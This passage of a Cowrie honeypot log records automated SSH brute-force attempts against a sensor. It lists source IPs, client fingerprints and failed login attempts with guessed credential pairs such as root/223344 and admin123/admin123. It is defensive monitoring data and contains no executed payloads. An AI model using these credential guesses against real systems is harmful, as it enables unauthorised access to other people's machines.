{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:36.450249Z","src_ip":"83.168.110.85","session":"9eaa234c6be9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:36.814427Z","src_ip":"83.168.110.85","session":"9eaa234c6be9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:38.124750Z","src_ip":"83.168.110.85","session":"9eaa234c6be9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":49960,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc395223fbae","protocol":"ssh","message":"New connection: 103.75.183.219:49960 (159.203.135.109:22) [session: bc395223fbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:42.693877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:42.702211Z","src_ip":"103.75.183.219","session":"bc395223fbae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:42.948717Z","src_ip":"103.75.183.219","session":"bc395223fbae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60350,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe57c5531b30","protocol":"ssh","message":"New connection: 83.168.110.85:60350 (10.17.0.5:22) [session: fe57c5531b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:43.342896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:43.347955Z","src_ip":"83.168.110.85","session":"fe57c5531b30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:43.469246Z","src_ip":"83.168.110.85","session":"fe57c5531b30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"223344","message":"login attempt [root/223344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:43.685288Z","src_ip":"103.75.183.219","session":"bc395223fbae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:43.833820Z","src_ip":"83.168.110.85","session":"fe57c5531b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:44.934011Z","src_ip":"103.75.183.219","session":"bc395223fbae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:45.070920Z","src_ip":"83.168.110.85","session":"fe57c5531b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.28293704986572,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:47.908602Z","src_ip":"152.42.224.71","session":"4d09ec0911d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34526,"dst_ip":"10.17.0.5","dst_port":22,"session":"a914fb30af98","protocol":"ssh","message":"New connection: 83.168.110.85:34526 (10.17.0.5:22) [session: a914fb30af98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:50.095136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:50.099447Z","src_ip":"83.168.110.85","session":"a914fb30af98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:50.220006Z","src_ip":"83.168.110.85","session":"a914fb30af98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:50.588186Z","src_ip":"83.168.110.85","session":"a914fb30af98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:51.712968Z","src_ip":"83.168.110.85","session":"a914fb30af98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38414,"dst_ip":"10.17.0.5","dst_port":22,"session":"44813fc0f12f","protocol":"ssh","message":"New connection: 83.168.110.85:38414 (10.17.0.5:22) [session: 44813fc0f12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:56.884684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:56.889885Z","src_ip":"83.168.110.85","session":"44813fc0f12f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:57.011184Z","src_ip":"83.168.110.85","session":"44813fc0f12f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:57.384389Z","src_ip":"83.168.110.85","session":"44813fc0f12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:12:58.513878Z","src_ip":"83.168.110.85","session":"44813fc0f12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38420,"dst_ip":"10.17.0.5","dst_port":22,"session":"aabad93b2e8d","protocol":"ssh","message":"New connection: 83.168.110.85:38420 (10.17.0.5:22) [session: aabad93b2e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:03.773693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:03.778677Z","src_ip":"83.168.110.85","session":"aabad93b2e8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:03.899817Z","src_ip":"83.168.110.85","session":"aabad93b2e8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:04.466199Z","src_ip":"83.168.110.85","session":"aabad93b2e8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:05.595124Z","src_ip":"83.168.110.85","session":"aabad93b2e8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":51036,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d629694334f","protocol":"ssh","message":"New connection: 103.15.222.183:51036 (159.203.135.109:22) [session: 5d629694334f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:06.237606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:06.242272Z","src_ip":"103.15.222.183","session":"5d629694334f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:06.499785Z","src_ip":"103.15.222.183","session":"5d629694334f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfcnth","message":"login attempt [root/vfcnth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:07.272788Z","src_ip":"103.15.222.183","session":"5d629694334f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":59506,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf95b427271d","protocol":"ssh","message":"New connection: 128.201.9.152:59506 (10.17.0.5:22) [session: bf95b427271d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:07.461910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:07.471696Z","src_ip":"128.201.9.152","session":"bf95b427271d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:07.597325Z","src_ip":"128.201.9.152","session":"bf95b427271d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"startrek","message":"login attempt [root/startrek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:08.129360Z","src_ip":"128.201.9.152","session":"bf95b427271d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:08.533925Z","src_ip":"103.15.222.183","session":"5d629694334f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:09.256283Z","src_ip":"128.201.9.152","session":"bf95b427271d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44968,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcffbf4f65a7","protocol":"ssh","message":"New connection: 83.168.110.85:44968 (10.17.0.5:22) [session: fcffbf4f65a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:11.264794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:11.332754Z","src_ip":"83.168.110.85","session":"fcffbf4f65a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["